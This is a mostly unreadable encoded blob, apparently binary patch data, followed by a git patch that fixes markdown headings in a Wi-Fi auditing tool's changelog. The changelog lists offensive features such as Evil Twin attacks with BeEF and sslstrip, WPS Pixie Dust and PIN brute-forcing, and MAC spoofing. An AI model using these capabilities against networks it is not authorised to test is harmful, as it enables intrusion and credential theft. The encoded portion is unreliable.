z#z)lT2ks;#_Oetq!~@<+7uFhBLg1UG&u{<(4X$*NN2pSj4b>Tb>1ZvmKBhXkLz=#z z1X(-vxpqwq!>N(OgZj9@vPaU*vK^Q>k5MAcJKR+>M%4GSvz`wISrye)43ofrzF6|4TGpzY2&0N;?2rhpST)F($rVDdt(-mm z-X)V(Fe^d4K9v!1W_DC->DccKj|G;GUe3UKMfTe?sj7W>h*p%k5|mvO)L70)?zF4daQ?DU9} z(eS3s200FNyUG~Is`=4>k9gk-MS&a*ps=U0mFV)j6aNieYB%S7(#>I-bH+FrnLN1l z#CuRD<_|P|f73VCyC>NgByPY>u2HA=s(({{w5eIg3NoM*KXDRREv@1|=7r+w92bqa~J1#BtC!Ap0CvQam&n2^lECU%C4j17Jmzex)E=pdp z0utj0FC_j$BV>zzFn~fWetWv=130jh$MU=GMZBCEcCxEmR~yU`CuuIb@KWCf7j&l2 zlmq~!3T?{w&xQY45oWPjsi5$21&lTp@=vG4a7kMTvwJ8Qb9uxpl=$?p+q;}l7iLPi z_A0s8)=CB*DC=68ikaZ9gaZ0rC33uG8gU zYavs#bW=893JBcV~q1`?2Z* zVIzf_KL`>>hwXgcYUMnRLF%G_*f#PmeY0aa>NydAusK+i=rRmSK~A}=jNIinYw2b< znbSIwItr(oBvHID$atq;-^#kGq*hN2|8141Z#nS%_i~wqI$$StbblFU&c&Vwur*S- z{gs+coJF1};5NFD!ac}uqz{A>j(gM~Q27VdJr*gfY}*(nlI(`-gX<|vUsnRYNiomiz1 zGOKPtW7eSslVjWwV%*jral#ct^NV@$LKiY52`z(j{dT;|f(N)3^^un^Q8w+wE~T0$ z%aRfJo`1?Ht(J{Vv~$-d7(R^scl57?&xgFQ-~FAtjUPzJ z$-1pGS2$$DT{Zl_3h~1JEP9msXz}8|zH{|@KtWs_BRJIml53`u^Kavae(eYxq44Ce zl6`LuOJ`5iGPGYzKP$C;w$2L;?C8?LiYYaogom@gl)I%{i`&#JHpxeEOaijgjJw!> zAH&r02lXSj@1|e-gK~&kj1YXdd1{Z!Ae6ryq&7>wSHlT?ffcQPR#9Pw@ALn?dKW>; zRW$8u_OtP|p#Xy2f#9*j<- z6C)T3XqzHHZOXEjyaD4}_;r40HleBjrdT8F*PWgX6x{>YdJHcq7OU?Xkb1>LPPu1n z-J&Q3aBRh{^j_M5i=YAR-EQL+YOSu)@$!h__@VTO3N26#6kqTYhgjbHtI zqOHr!Kqf5QORNc2C#K6&bEJE<9OAS3&1}7Z=a4=#G361rz%yKbn$QoKc_~#!r4+(i z@viCdnjn~DJ&Zej3q2Kz32u2#*j`!&lw)RPN-&OJ)v zk*x?>X9x9zgvI4dlE8f0gw3c(s4OH@?}aoC3rFo59dRii8yhiBG23b@T$+&ZEtGGs zJtHn0v^v|(NBM()DK4kFz`r!%E9+Doj5R)8EK|1+@e|QIi+n_n5uJe0*||biEq-jQ zI?5bZF2zHRd*a9A_0X8GlpFpg{5kRyGxSlHMJ&wxu8sWTuazGDjbqk{@DTX`!KPRP zsG{V*t}jY&sLTq9Y-g}yC^}Tx5`#{kLt@n_aNiYd!(T9e;uZ=qn6hQWJGV@!+TsER z+VhT0S#mn-I;?Bap;Zp%Mwq-)JS5YI*HM0%cbHP(?CI)|MJRN`1wlT^c-nlf#esFg zf~~0?Z}K9*S!RI|i8DZ0_9iMi>LRy*mgDdS8_XHzz4MC$-&rc|ZlE-)9N%gK?*Py6 zP6(2$OEr;yGbeR*ptb_|GTupyUhB$yD(ns;-I zBZHv0DACml@*}=yEaq`Y+?n*XmViLMT-5IctLqx+P~)lI4D`>6Dxs)|z}oB+xC@Cp zG-b<2i?zYe#05W*qga8}UPb3bOb)?N7e$J2NdyX1WEB$lH5U=txhY7=i&2H6RhIJp3Q8ri3~e0 zA5er{_^~~``5?xvX?CAXHbAXtCksMk?P-~yQpH2zLF%Vi$^}TyzZQqS?4R`*pOoQv zQ27ZnE`WWS%@g)!;Zw!Dc-7NCqY*N$-Usse=sCN_uNorKr7sD!PIoiZ&{pM`M@7RZ4U}9^(E0b(!BC<5_}p z$!IcXu6@0yY@I_aYTzrUGFl2|KcngAH|XG=h2+ip^y#Vo%pH=SJC61OBMx<*^%kfI zRWa7#E+<)Rhwy`f3Yw?u0V4V{Y;O_uvlwj;TXwZ;5AcMRiJfjSSgxl>YY zvqYTWr`Si>K7bj~W)MbB65sSg>^Up6Et%D2bi;P6+ydZF(1!OC%C{g2B3U@9Te=hjlGS8 zAuF`fd-!9IGPU&MXifM8%X<=;Qa@DD9#epI_!6tr&R)ud| zeC__(N4ow-Jb%*6Ie*nQ{EZ^BJV{A+J=J#t>d`If38={ntAvi$8LkE&3ko?S6LY8_ zDnhEQ+r6D|Pj*+KWQquX2z!YP9`qy^^-lbp>}IBM25QPpj@Wpzkrop0+Eili_Y(%I zACHkF$(9tw6#MDETLnu<%KeKqk+1{FcoNYSxk-MoP{34IxSs!UeJ zHv5)kJ@Zh1%x5`%TYNqe-aT96e7xygzfS_;Tj%9&p$ zrQ>R8s+aw?uRT1G6HEB%thUTHBSZKCM>*3 z%Hn<0h8yfSbHf83CE}GxBOyAG6svP%)9P}lJSYS1H z-c_!DupL-e7Z8vI^2ac>n3EEc)Kqm;cU*vRG2vt?z|^I7_jp8Q(oe17rfwPqTa=6O zf1oeO3kQ@krI2xiRn*8HPxv&%zPH-fxP9PU35Ux26AZ?E6MN;<@1cM#JJ?N~-R4qH zb^iDItfoC|U+3{hGKHK@v>vY7x>k^8x0m#Poxw-g4yg0w*yPT_Ho`9wvF2PJd=%Vr zPE`AJ6WjNkF7m|P((-M`2Wyt|lHyapt^8YsmXsOC6-kRu&%%y@XH3NcZcBvab@#+Oft#+j9yNNI3%Em0gT`>%-lf+Gj^C3-3Nwu?|A@(|JNr5d@gUIDGk( zbg4HMW^$Yh^|bHBFnbuElMKc%U7@UhdOm1ckYLDO?#|SaIR?mipI4L&vg;*k(q2q2BSJ5~O)|trO=Q0&R14jp0S;cPc>h1+tTJAdW}A?moK7pe5c}9i z*>B<@_gs0l? zU+xEHI6Z%|+3r{$73(!H=@gL#9X5pgw_SCqEPK~#D+m*4NW@DuiB$I30k7W1(kDS@ zWZ&sFNk1bjRqRH91^EEISc@XnNN; z!Fya8K{@~Y?2SWZ9jZ!{wNYo(vWfiR0Q=IQ*l1gdV7unW3}3!-q-*H1UXE@Td?)9= znx8Qtx<6Fr5l#|{~{M?qBNPD+{gz{zFnw!C}U6Cb|vgO=>8e(W>lgFihbHw za_6RYmV7S7kg4hYXk@K_EDWKR9^;}TT7e~s%LkwV`_q0;%-U-D7M=xA&0*L(pDLG9jwC4zL8tjmLb zo)TbuOnH0%b@4a{FE-9{ld_r#eggE~1acnHYL&4!uKLhf=7c*X=8m4c`zTBw3@4Na;I4Uuzl9e=ki340ezsat-Xh`yv zBEQ(tF(#k`%G*5}PzFJ)Z0TX60nPc3gmvTp%g)V4+7$DDxnmU$)u0+s=(1ikU)+>JhCEC(F&5e(^mV8jLzJNn3f-*_k~ z&fnPtV4~H3X(7yo?S*)UV5E7k<6qES>}Q_~0O$r?oNlD$CqKFVTPL1T!=+pU4yKPa z)nZX5Gm#aZm;jAh&SYvgZgb$UZa+Z&Ri1GZyYc8dF_5Wt42 zWC+%r;X+$*$djO`yCxyhrEnAEzM8ap;d!q?Rrtxht5mp#&`}g# zJPoiTYII7rGZ%N(G7Ts)Q5_>0;;7_4{p11XwA)A=;DIWizm(kBs(@HRo%S?H2dy&U^`Uz+~a?OS6cgjs8_o|Yza(qN>_0itm?CSjo>m=Nd{uJ z=i{4&4nhw&f&vApPkNBCeb-CW=sq6=^v#x9yR@;J<6C#bEE+FO>F0A$7^>XA7g)@Uh&y@$N6x&pWi1a>;cmFBfKg$>w1+g63gL~jhD*wiQGzq zq7T8Fa&guw(^vCWRjM9VP#Y=jZK$q!KC@2+T3TG1x;0d1n~G*3kh3Xkw1!_(8vvz~W{FZfht{vG3gH;4+q zFcXb@Pm7oVh&10XpGmgM{Js9EFt)qr_}19RF+BC(K2e6qb;tsvzzB@ij>U*ooWGrq z96Y>Es~J0Hvpg2)iv$THUd7w17F~Vk+9#)YQ9BA(&vV`92R4oYWe`EYYer%R&f_Uk}{`Kk58`wkaw&*tja_ zsLIqi*9TDV{8}#D_RafjiMjPCAB@S{xE!U~yXrOq4MJpJzTt#6+tI|dCECVQjkFw( z%@|fwhx-Ys3!E<*PX^Wgh>XFWq3}g@`#RnqtT2grea2pgU&#CJ*XV94LsJQ@NUjL^ z_`TaeeHt6&`Pz@a^eP>HXC4W^)+H)e%!bn!t1z6S@GIgxZ#B|HmfMInwnP{ZyWWRu z6TMRmg|X@M_B%L#TiGfj&a$#*^q@lM&zunN^>_xe6ROx3^@x&aB=PMdRy=i`DRgV@NqGYJp z*ebgp8VK-vA7{FM|1|{k2`V95JM`jMyx_zTMSTR`v-HuFKi7^;?v26JcL9P!Qa7?~ z;KY`l#aMwVDmiy<-z6Bw{yb3{&6$O37Uu|@AWU(!O zk>1>_J%J!gO~jh?5gmCT$%g1@MFkZYf7LmRNVM;?_%-%yl3=}4Aw6x+8r?-zFQgm`)lq-zv?PKkW>{Tr`ssoX~JAk_CF zAxMQ=c|UxAqKNNS&NeNr@oRY!0#_#!~P!4Obo{O)4enf;}6rE z)!9lkHRRqZw8W0`$9AM-kT5xgLXnQSMhBFv0!3&DDvsd)*n{XgFFgleC~`1)0w8TYL&)}5&3NhTXO zVXj4nAZCVW#f@fch{c;!wICVoyEu~a=t$*`vl^WB@b-Xv+7p$v@e{-P0 zb?2M}?(Ua=`@jx&wg*8~&q(rcKXc$rl$L3+pD^mOiiWpQHXQypolu+5HIpSU-Xd9D zw|xjPqaW4ULCw*Ye&EJJ-z#Do;+Wz)L$-qJQ_;mwxU$d?!6%frdJp;wEZMbwSo?c_ zy?h}3ea)ZBhs!w?X})2=Zc2z;2LWLX;RX-7VC%mY@H+DnF;5(36jUKvU?%_FySgGu z)Z;-_@L5;&T`FVdB^@;VC9V#4Hn z<(AOEa@l7;lK+4%uP@wOu)uKK&<(7AmQ@vus5;xMp=Zj1cKPY2-$SU_U{$Y?)X!KIT~r8XKr80iUAh-4@BNkUZ+=B@t_|VloZ7nWG;jRg=bIb~*}>c*vYqy=x2N z%tR^x(z;2D{(h$Q#yAF0eVKDdT+}0tR`YqG~Rb!zV;8Z&N!q z4Si}`^*HFFV>FmEh+(bml;U5>@1*@dSyaST}=R=$0|1p6nT4D?-N`>f4o# z6xTbBbZx4w5|p^lTsxO|{XrHsB0X!fqnju^4TbBu)}kTfB^>EL8?vH*&FuY^&5Q+^ ze1>so^kDOPg5tBCb=4(@xsjFt;am4zlBTJHmYmiP6=QGdi6jUZHOjC5G4anSA4(Yu zzdsn2oD|DeDK&buIPH-rEI(^>n^efgJOZKEp&*I$9;p_KgBGcHc9RFNpl!4#(b30Y zgAN%Z*UPYT0-MFeT5PC)K`prx=eWp+lv~dcoikOjd?tot|89WEf+RHR5q3TW?%$~l zGNY347nkR*@|6xA)JnN`b=G>91HDuvi|PL8Wueod1!(fAgu4W8VQqVP5r4fNFukBN zx1m5{R@dYE>^S9|87Nnl%v|kM*Ekn8KJDI1(isq_Ow~`d6dMZM{FSBM!fwNI% z{yIWzb4~&HJ1%s8)kgV>RGBcXpy~5}=ws0`+e#$Sv*J8i*lk)o(sGy^Xmu$=njE_2 zY?jmKKzB>#tjl`P+Tb4>JtRo=%l@4Onq=p=QaLIRBKwU3!iDlgi%Vu^s_{JbNGMbD z1p4EG(qkF!GHcP{Jo0^^e&*;x$HN%Tk?4(VX@moT{hEn?49j@&)L@xc81imR*KFDz zTtnef=9z>gbQ-cUCjpia*nHPamRuFg4Dlgm5EU$3l4wCUbT1<8l?oz+Z-|oEL`$%s zz_rZ*$tyOu0U$F`Zk%8_KF+v$JPv};j~fYqEgt}s-U%oA6MK2DrGP5MZPv@cnBYGu zPqi~fP7Hp3?(?dVn)owVjy63s{wh#yJIST`JLrG8oq{LyCSkr7NznA4C8z|OU$41- zy{WeG_~+Br`P+9A|0=Ic-?ZaS!Q#MXJe;i*BXZnC2fZw zIxu@Y7mMv4WA_LvQi~&!T4cxt=dsxJLCY|}?&<1({oGQPTi}-wkKCS2oj<>_i@_PO zWfT0mufp6JN`oSwI!C%Ar&vt~9|i02DNR?@Ah@4ZZhEUVD=FWJjD_iqbBd7!8*7@E z6Ci)Y=8;gg*!``S8CMHL18HQ94Xmq8(1o`UI5MTtm_YHrAV4#K6uog@An}2iCO=6P ze4(*_mKxe)U*S=!67cC&%&0d^1Wog9^5Xh;xzTF{Qr4LQ!_i`*L6NgoMd-8ehQY74c?DHF>$>{WgdqabhNldwfiYX3EwS?p~w z0h$ARg@C8V&lY#y?BHV$;sKbC85@jfI?KF=K9y)QL-gKBT>Vngun#e51d*c`+HXJEP9&OvK5q%B>17jBdpQXoro(vGu*&` z9-oG5slKp-t0V)vq1L?mpnktN0V-J}eqa!;#N(-4F5TE$gbb#)EZK@-&3E115o1Py)CK5~ z%d428iF|zk(&;hT_RW$=2iybJBjiTXiP^06Xoc>E@x`LcOa0?Z-Ap*ia+LMEg!>#9 z4cPP^Wc3tjsop=dhv5!wMgMP-J@+k5S@@-cWvj6=$b3Rm$DXCDOuHu@GkOt!n`tqm z=ZBS1TUxD(XE+Fdp6v{+&C4$KAZesgJ}GGLqG(}@dkqLL&+FW*O+75-=RGP4aqmKI zQ>X_wz3zg(;Dr6+WG{>6XNN+&YhjPU?yn*Q!F?_yq?GWcF;2OMC9^lu5rC>c{T}@x z!bF`-Sa|KF^Aph|S9ybDhO20Qo|;Ktezy@J1lN}ZI(~DU}p~20^X(nRR&iFkk2`GoIim(n@BjdM!`Ytllxmmp= z#hPfl(I!RcWD1#_kkri}P%-4GcU@);EPR_bKlQ zIm!8S3(UyZwF=%98B&A<1Vrfcfl zI=zV8E@>xw*i%|ExByyWn!zFBNDyMVXJ+AG90Z@PiA&YEF|e+Z$pH;`*975#tlKFO z{P03n0hUDz)#Y4CDnkyih^57Ud*GvD^(;*?SKpMv zP_q1cNo8OD)8FA7vO_Jt{wk4a?W%p8Ou{He5y7$Dr~TuIpBjM09&w@gL!2wxc7VZ| z>BSo6N`;gaQjPz6!C*Yt%7Eb(<6trV8WT*kg} zPIWTt3e)2KztRDJm(PLX;|&T7A34*{I zq&%uhPMcK6AX&Y5CH+{ffh`9dMgK2uK@rR{CKwY@R7^8wxxOKz%Ul0$%BlOWb4Q7n z35o2(J9^gF_89E?i;UpQf$xR+LT`R&?bjXcm1WJIY|e&%fZ1&#cmM@9K0lG7vzEyc zgdl)(r81mm_37d^as8_YhCMqZiiI{AY|cqv9H#R{{9!2(Urz__IiOtg6YCj>h`j5J zjp^B_H{6wkXTA7>Mhl{VLNuzau8%B`b;<)`NXk%-<-3_mPZM znk~mkbvxL9H?t0c6nQ2lp@(Nx;~t7HD>cu4p6bjgm|yW9ACy&2Oo?6UE^td?;bS#_ zqZA^HxnO;JT7wkGYy}OY&`LE1Aper`b?P5OYXGtr({)cw;mG>>y?>Q5kPunA9 z9p|b%QZZ?8>M;4F!-fNzjOYfs+JhT`7#j(MF!vSayH73eHB_ zPO{$>>7b5B)+(ee5S51XfCs)#B!AW9?5;R#UX%cK(J$Sey~zk)^G$P`d6pUzuFu&$ z+*OiwMSm`h%Be!HA`i)AuXaJuJ)4`XhJSR}N(b1`J#ahXnMfT+Mq3xDX-Oa=Cwl@04?) zPH9!wDHW!9d56ff+y3pR|DIH;#gcj^U?Ig|jZ`b;yu0SJGE*}V7{uNnHnIk>ME~Q1 z+b1Z)c93RWvWVacWOT0@x7ioE*Tub|nrg>?#3{BMOSShy@+y+Yt%}5%^k_Xgc^?Qe*EC=SPffH~>J8g*@`g$8dzS?0bHEulLn@7fQhSA?q$rT1k?S0w0Md9Fi2CK%N}MyeoM3jo+et$_BK6`OG+qi z?2N;s5YF(emFlw{>D0l|RF-A-s?hFjEB96F+8z$)ImXP%I>?@I{;e0~j>}eNrZSAt zelbV(NKL^;AqS|Of8T6o=}-5iO-WYt*-pRIt*Zyr2mb$Bayziinb-Bp3?&MG#8y9V zGwWX+5a}AF5Kv6A==`_KoM)fp-dqK#i2m^|9df6}-V*!3Hm9mC@FH8(VYFxHS?C=W?>%k^CWFc1$a%l*HcYa!M7bO4Znx zyby7q2$S*KqhU{Lrq8PqXLx$HIu9Yi$-VF-$V$8*hQpMjPTD`F`X-J$(_FJUTSXr7e3jISluhIW)i`}I^5K_njCeU#Q-;KVeP4yZBBizpj zJRvOCeNv6mDWG@(W90sS{T-d$RTu2!6Za#WwqvklK$N2$<(|x-_6(X&l71#S098jf zs`=|y=5TmJvQA9>0Y>OtMVDG;Mb3~J24@6twh?kjR=!<5d9n9@^?uPMdlgr3{SgY8 z?e~m$c2CAFPo>lBITz==lfsAuju9ItIZrqhxc$74R4EWjHRo=Bk`#p29@nhVZ@NsY z-d>hS=cDAj(A23QIy7@x;`ZcyXAQ?@{RB_v2U%t55od0@jKD(oJa7asard@83T(XL z`=-;>l`=QUPn`l2o1b~M#sG0X-TD5#Y$Wa8W87M?Q@S%*1l53hF7Xn zJE=`&%9C_MQl(RWw|*a9y?E-a9C-LYjOTLB{A+xgSP`pzhvJK`HF8PF^=3Pl5QX>e zMrTod$HcI&RQTVFGk{*w+Yj&8dVViomquyW&D0?*gQo_}uMx zJDNN8ZusTHr2K>nXP9JrefI4TRTmJ~^chfJBCi`-4f5!JtI*+k{^Z$iNVtW&a;??7 zQh23M1DegkkUBTDznLKz;Al7h?V#;lj891;f{(ZRP*Q#%qH(~Us;0>joON6CWPoPRWAdkMM zDeN29!vEHPUJjW_e@K}|@e@#rwrbk_i|YqSYlEly+>%{Ivq+lo#r*M=LRO0n z3N0uxz~kcYV~rmgqACN>n7mih=Yo<8C2vpN=_5_m>)WD3;uc$Pu&A*e_WnufOevfc z{d%K+7hptnq#Ph%ldOV`jwSfpK`TcDXT7W|&8%YNPqdNq{}0Ss{-pZ6kF~(TFVnsR zNpDjF_n_-80JqYl=PFnnNKj~P?;F_9#BiC`V~xD(wlV?b6&mVVJd$vBbGM~he~iq8 zRU*dUr4`UpCjN%g+|7sE8{Ru{PIz1;VgaiTXEW=Se>{Bb1p@kk?DfCiZhvQKhzup( zm5Sd4BQ;rw#%WS4|2m62%nbU6jA>yZTcp!@T#Jb#yuUq^Bq&(R2-@mvks|I2DXpGu zIbl#e7}9*aZZvyD7@%+~)?sVSBjkqB$~J|`=Do52zFm!m4ulQs!a*o3Sck-}tbUU(h303Dz`~1 zB6bW#q+^=LoW-jkVjrLc&+nw`R)yZ~Cqui1tVUF<^UNu^%nK#TH& z{+xLHzJQE<3yYQ51K8iR;5oqR(poLD*n1S_e{+2!7_MEABjvDH)4QY_;*#^hdL(|JxZ z5>UPMvP1O>=Y<3pLncAwyYxI=y@tXSUIwsI!pdKJHv3NOw;9fDN4O@Fw931R{Pm%0 ze>N9s#Ll|8Vb|%7!?*$4faO)uY6D~~79wZ^;y%mD!|(#`ZL z)%{n59@x{B%}VmN)2noQ{71lAs0o@e7mAo|#|~|BLywP#PDYwU1{yp#!?H~BeSV*) z7bdhuQQWaB$(Ks)e~U*w+9_`N7WnMAZJ7Rujlovz!g^`nSzR4e*-`# zNQ|yUFA4WtRn8dx7GC(<`}k`dutJ)wnrhEcL>%09vz!sB)v3UTPkCp;BsUuw@6vku zOl2YqgS7{jQYJB7ResL#FjH)BCU)@Y#z1mqbmv;D`~ z@Bx%p`s1%gz1&bff?x309*tg} zo}vd4zff$^B1)qeRHT?h62;zcho4dd0``^Y`vTQQ7xuxI6BeS3o3+s3W-ULyZO%dS z#~>hukvVTYKm|7gM!^=Cf1k*=I_cDuo{2o($MRDC#5UG4_ z+nAyyNw(gBB5+UC7&+au>{e(-$c{w)*V3t)+fr>I(;wD%aLwJBf22SPJlZr{X%4&w zmg9q(G}0mGJY2KMOn|Ea1l{JN=hPJ}+%W z<`WpuESqO$H_buyviTEcvyKwM^5z%~h^IUXcU+qYY;v9QlKlw~SjD&EGYmavOG16~ z!e`GV20&O(Htpj#Lrd_mr4EZL-3dBf3SUf>qAQZA)X;$#7ArkkOz(9hUpAXZ%VIWKz;B*Mb)jL-re| zHQ5OiDa%L7C9^a{GIKD;;>$oO zAj}(Kd$ipHf3rfJf6SePsBmH1*8B37h8$7(w63XwlgEH$M>w_?F=fHeQMCLxu%5I* zdaoqBr_<6RVP_cm%|_d~*h53CEu@TFG3h~Aj?IYfr}JK@kv1%0T?NI3V8mZ; zXo8?=5R!*9^3{&VJD*gmYQ%JfZ#ST}S3&K=6PeL>wq!h2t?9;2%5yQ@hZb}J$zHT@ zBXlPef2?Z&QMVq)`1pbwZ_gxzD$f{ILH$C;(1poTNy*X=HjTAhv;t zuepqtgy=r3-310(ZugnvW3gQk7{{g56Xh*B?cm2=aA7uLRT6jb=OeXSiDkK?)~jPY zy#wqEB4Hb!l~qaU0BmH8<;HsOcT4w$N#leXe67~V(+O^s0}q^7u6~mQ z`8Xbj06eIj+FeH5PL}r^_)wFhd&ZB2j8!N8 z5zy38?BRxA;T8%~;br{wMe8b}n87P;dxcAktALOmfka0MT8%vi4P2F7PI)saXP^lu ze<;tE%U~1W^ioAfAvF#sp^%quVQ2}<0?=inf-X4u+GLVHpT=jZOY!R~^4R$B>Z_-7 z=4VLJRAL+c5DuxxXs~^kLMIHDsyUiYhpm{|&VpK#69D{H0&5CB21@6jNH_O%jW#v; z%NQf{Rm@gHP*CVci%Lf173g#T2Sie`e@f-FdI^l4mz`NQ31JIJqi=kmJ#+$3!3Z(r zIVy$Fou*G{_fdpN&#FFGDG@j3AYrKhAXu%SxeJni0Z9D4NTA=(JV(tVtZlEr0XqdI zKb=Q|Qf83pIT@z!#%;(CoKvCPR%P6dO%{&QldqK4h;aAGP#y8^iEiXWiQ(P%f8|gg z`*xp`U+Lgbqx4*Y2QMxnBPqrVDp+CwAJu=b&vPTSmYq*3M>(d3(anB^t?;pk0PvZWouW+^X89*W2+qyPu(1Li=t1|!vn2C9y;tPfE` z*-?eH{{J_J2ZSt+8~%ch>hA@Le~+YSCk7y~v0TrHtCM+*z@7Faioqb0K_9ia8hNS7 zXf}`&-d=|gfU?1x3H(Ci#S@&i@3s-S2U1>;AcF|XYeaMpUDOhd8E2*v44Z(Sy7FWB z=~78V%BXE^mfpS&LiAop#Q>^TYY?qma2u=JmIqtd_u+o+-Y6W!$(rG#f1f=tboM{M z2h)T4Udy_2qq$1izu4nu8;U7XRI&~Vk2`+DX5nGC>Ih7P!I`}UAj7o@5U33W+IoQH zD+O)4%MijG{fgADGX)9kBaE6nH2tb$nFNeF8RzsJhf zjb+F0Wi&9!jnG#t_l{i@^53#@_zIrrdiWK64h1q*N&67x(@Ns3TY7PRP+B(GciaP_ z84Ft^OSKvI%`HQwe|GRB2OiS~XE@3ea+;@s^+pY7TI1DxaXCz~lEv1x>pD(T(M*|R z;(*P>sjq_v*A?8ByUQ*m;}#icGhipw-SnZy@@B}ay>iP$VOq4u|{QO zf=1;?_n}0BzpbyhL}8)4jIfyCih0?t!K*Xd-Nq7Pm)|Waf7P%=4jz^m!guWsw;2D@ zhK-siTnDEIIdY%N(#I$mQFa-k5NTgaU6rX8(QP#bKN}I% zY5L43S+&Qvi?1G+HE-tiqOt@yDicnkI17THmTHu-&~ zJ*a@CNaVycf7GC!*(7sV?{AyEf&dE=?xb!*8{8wI#xVDttkyjlvCNgy(BX}*Dvgd?WZgV ze`nfueX?Wavo`WaBH+FRfD_bpXg%y92WRZBhNA0$f3dPC`lURENlv})H?d>)fE1#j zHB5LN5N7%1wZ)4N4XAjNQZlPMjutp(@=$QDytaAb=4GeDh!n%8?X(E{ldF9$R`=L- zWge!~xSMbJKK9Udb<{2tBAVKq$xh(eV?A^9bds~Iac@C35k+JHcs!UW8vd*R>iQoJ z?g4u9fA%{p+al_x0e17MbOOa&r4MHf9X$F8+9w}tmp_m=8b5;Bn(SEKCCjwBb>4HP zM*J;|A3m#O`wUbJjdl|WYr;b17Z{ziL3giavf<3_TB2hOJ+{JAxYuzpF_Zd(l-2Oq0*x4)rE~DF)&9`Qj{3Rci_(ynQf#Xoyad8uU2-2wMMz88qU4vM-ISZ+q zVYDb&jxnVxPKrnWzrykAdV`{B!E7f`q%`=D0g2U{7{u?b3HRvXdHcG2MMKmyhv#Yj ze^t#}VCT-b9o&>sA0sP$VKrY(*EYh?j&8+lsD@sk<1>gnVJ(26-uh_5weooJk-|X7 zmjwJ+$JzbgyWFV9VJZN!Y{`A{JV!hQ{5pm0vr0n;VYOc9 zU&T!SM}oe9lLe8Q+6=?m=$`;YkFTlUm$=6t!PU_Cei?Ju3#w@B9sM9V%=xaI$pK)d*o%XeS`$!KK!mjMif5h4#BP+;! z+EJQjs1@`qnYFWXY}yH4CPA0d8-CJGOM8~=VJuGWYG=4JU?w=1V(Ar}A7dDi6sRR< zJtHXlyA$T^cM>hl6@ju-w%Pp&*Sc785KdoCELW(do7UGxt{XWPdR~NAae+#FJbHeumR$Csr z2Z)+b)w(v^q~@x@P+G5&j;D#9n$ssU6XR2L`XdnJ8Rdk1os)u*@KIl~JZ(Hyb5tW~#LQ!j6#;RNH*=@XrO+q1V{^oHi1LjJZ{kO2I9V?jP!(mMO zs+L%VbUlM;UF$)RI+Fbq9t(WyqCKh ze+284yNQ0ce>b6bB7UDrlZY#I9tFn82(|`8wGBd%ojNZp{BtxkfjkUwpJkn5Y1_D@ zot7rGvN7IggUI*+Wl}lw`?>lATCy*9DJd^%vRP=nfxb>9u)o8c3O<#zJVLG6-?g@{ z2wyreNs3}`X*@-hNY(skRGbu;S(r4tM$*D4cwYi`e;1VKL~e)9p(93w)CS?4hs;Y8 zen-&|*Qbf>ATH-J;^;uP3~HxIZi;#67*&u0pTCELfZ(sem-OmaoIWK2bhHfb(eY6X z5NMAmFI59phJO_N+ z76Sthe>~OprXiJryT}p&Ke&|_FrFJ1xNEYn#qh3={5ajls8 zmM?+TF)}tc|4P8&jc&)9m~L~Wvl)qE^At;De@NaP5w40lJ>V+O6PH~NE%Nb(8-s8# zrlJe}+4_-VT;%+sP-Em=(btuRTs*Fdv0?x^N~MT+J0%qjuLA3mXGO%WTF?F&+w^l> zUWX?`pQTM#Of`d*N4?OeV8*3@#o+#a2oypxwEGDIknqO7i zf4oUnIdO*+Q--2ia#pNz)s(1MC7D(HZ85XKM}@OXfzyPJ`%j@J*$s8^-7}+=(X`iT z*yfDSboHLAzySFV^nr#k1vs^~BU;5S&9P~vfLaib4%Z(e|6Obaz00000-Q_Jx f+>L`P00Hr*2Y|3A4P~+7vBYQl0ssI200dcDamj)` From 0bbaff6d01c89a7c41f394866eea40276ea75306 Mon Sep 17 00:00:00 2001 From: Sotirios Roussis Date: Mon, 1 May 2017 23:54:42 +0300 Subject: [PATCH 23/28] Fixed markdown --- CHANGELOG.md | 124 +++++++++++++++++++++++++-------------------------- 1 file changed, 62 insertions(+), 62 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index fd8bc0ae0..0476eead2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,21 +1,21 @@ -###6.2 +### 6.2 - Docker support added - Default save path system detecting if executed in Docker container -###6.12 +### 6.12 - Fixed bug on network detection - Fixed bug causing strange behaviour on some Linux handling optional_tools array -###6.11 +### 6.11 - Optional MAC spoofing added for all Evil Twin attacks - Spoofed MAC addresses restored on exit -###6.1 +### 6.1 - Network selection menues now colorized - Language strings now in a separated file for easy handling and translating - Validation and self-downloading system for new language strings file -###6.01 +### 6.01 - Shebang changed to a more portable one `#!/usr/bin/env bash` - New extra-verbose debug mode added - README.md major modifications @@ -23,7 +23,7 @@ - Unexpected errors on wash scanning are controlled now - Improved distro detection for some arm Linux -###6.0 +### 6.0 - New system for possible tool aliases checking the requirements - Evil Twin attack added: Bettercap-Sslstrip2 and BeEF browser exploitation framework - Option to manage custom BeEF location if manually installed and not found. Script polymorphism rewriting itself to make it persistent even after updates @@ -34,116 +34,116 @@ - Tested compatibility with OpenSUSE 42.2 and Parrot 3.4.1 - Fixed error trying to download PIN db file on WPS attacks when curl isn't installed -###5.14 +### 5.14 - Timeout changed while searching for "bad FCS" to avoid problems in old systems - WPS Reaver attacks modified to use --no-nacks (-N) argument - Github issue template updated - Check added to skip intro if not enough window size - Tested compatibility with BlackArch 2016.12.29 -###5.13 +### 5.13 - WPS default timeouts changed - WPS parameterizable timeouts, users can decide how many seconds for each WPS attack - More traps handled. Auto restore managed mode on interface after SIGINT/SIGHUP -###5.12 +### 5.12 - Fixed bug for wash scanning on reaver 1.5.3. Now new method works for all versions because the version doesn't care anymore -###5.11 +### 5.11 - Custom PIN, bruteforce and Pixie Dust WPS attacks integrated in new parser system - Fixed bug for wash scanning on custom reaver 1.5.4 for Wifislax - Some code improvements -###5.1 +### 5.1 - Integrated online PIN database for "known WPS PINs attack" (reaver and bully) - Zhao Chunsheng algorithm integrated (computepin) - Stefan Viehböck algorithm integrated (easybox) - Some language strings changed - Fixed bug showing selected charset for hashcat v3.0 on bruteforce offline decrypt attack -###5.01 +### 5.01 - WPS bruteforce PIN attacks (reaver and bully) - New system for arm architecture detection - Compatibility extended to Parrot arm version on Raspberry Pi - Some WPS attacks improvements - Compatibility extended for hashcat v3.0 or higher -###5.0 +### 5.0 - WPS attacks menu added - WPS scanning based on wash tool. Self-parametrization to avoid "Bad FCS" problem - WPS Custom PIN association - WPS Pixie Dust attacks integrated with reaver and bully - Some code improvements -###4.32 +### 4.32 - Some code improvements and refactors. Warnings removed based on shellcheck tool - README.md small modifications - Fix on language menu selecting greek language - Fixed problem on renew_ifaces_and_macs_list function when there are interfaces without MAC (like some tunnel interfaces) -###4.31 +### 4.31 - 